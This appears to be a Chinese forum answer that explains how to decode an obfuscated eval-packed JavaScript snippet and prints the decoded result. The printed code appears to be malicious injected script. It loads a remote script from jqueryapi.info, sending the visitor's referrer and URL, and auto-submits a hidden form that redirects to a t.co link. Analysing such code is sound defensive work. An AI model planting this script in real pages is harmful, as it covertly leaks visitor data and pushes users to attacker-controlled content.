Answer 1

将最后的eval(OOI(llI(ll0)));改为document.write('<textarea>'+OOI(llI(ll0))+'</textarea>');得到一个eval加密的代码，然后用http://www.jb51.net/tools/eval/这个进行eval解密得到下面的代码
var _escape = '%3Cscript%20language%3D%22javascript%22%3E%20%0Afor%28i%3D0%3Bi%3C1%3Bi++%29%7B%20%0Adocument.write%28%22%3Cform%20name%3Dform%22+i+%22%20action%3Dhttp%3A//t.co/MdwJoeQqcN%20target%3D_blank%3E%3C/form%3E%22%29%3B%20%0Aeval%28%22document.form%22+i+%22.submit%28%29%3B%22%29%3B%20%0A%7D%20%0A%3C/script%3E';
var OO0 = document.createElement('script');
OO0.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var l1O = document.getElementsByTagName('head')[0];
l1O.appendChild(OO0);
document.write(unescape(_escape));
